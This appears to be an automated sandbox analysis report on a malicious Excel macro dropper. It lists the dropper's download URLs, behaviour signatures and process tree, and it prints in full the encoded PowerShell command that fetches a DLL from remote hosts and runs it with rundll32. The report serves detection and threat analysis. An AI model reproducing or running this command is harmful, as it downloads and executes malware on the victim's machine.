Analysis

  • max time kernel
    23s
  • max time network
    32s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    31/01/2022, 17:52

General

  • Target
    tmp1hh5gocd.xls
  • Size 134KB
  • Sample220131-wfr8yabbd9
  • SHA256 46736545f69d457a1b302df9a70ecd96aa8768650bb2bb31dbd1e312dc299def
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tastedonline.com/cgi-bin/14Lg3P2Dt3rqBmaYZO/

  • exe.dropper

    http://store.anicyber.com/wp-content/0JIWtpJt681mQ/

  • exe.dropper

    http://jeffreylubin.igclout.com/wp-admin/gJ5oDbi/

  • exe.dropper

    https://dulichkhampha24.net/wp-content/rPThO/

  • exe.dropper

    http://dev.learncaraudio.com/wp-admin/ZIwWVcNiED4JYqnq/

  • exe.dropper

    http://karensgardentips.com/cgi-bin/w9i3PIVDOJDeF095ST/

  • exe.dropper

    http://stancewheels.com/wp-admin/ur031GNgTubBSslqN/

  • exe.dropper

    http://laohange.com/wp-content/brPqH/

  • exe.dropper

    http://139.99.89.211/wp-admin/VM1HRb3b0MGGdp/

  • exe.dropper

    http://onexone.elementor.cloud/cdrxhrt/632SFiWmT1Y/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp1hh5gocd.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:2336
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
          3⤵
            PID:628
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe ff016b6af991ad26f2490f6f8dd02343 WFHYrf6NjEyw3sxbHvvmRw.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:448
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
        1⤵
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:3820

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/3820-152-0x00000202757C0000-0x00000202757C4000-memory.dmp

            memory/4052-133-0x00007FFBF1030000-0x00007FFBF1040000-memory.dmp

            memory/4052-134-0x00007FFBF1030000-0x00007FFBF1040000-memory.dmp

            memory/4052-135-0x00007FFBF1030000-0x00007FFBF1040000-memory.dmp

            memory/4052-136-0x00007FFBF1030000-0x00007FFBF1040000-memory.dmp

            memory/4052-137-0x00007FFBF1030000-0x00007FFBF1040000-memory.dmp

            memory/4052-138-0x00007FFBEEC90000-0x00007FFBEECA0000-memory.dmp

            memory/4052-139-0x00007FFBEEC90000-0x00007FFBEECA0000-memory.dmp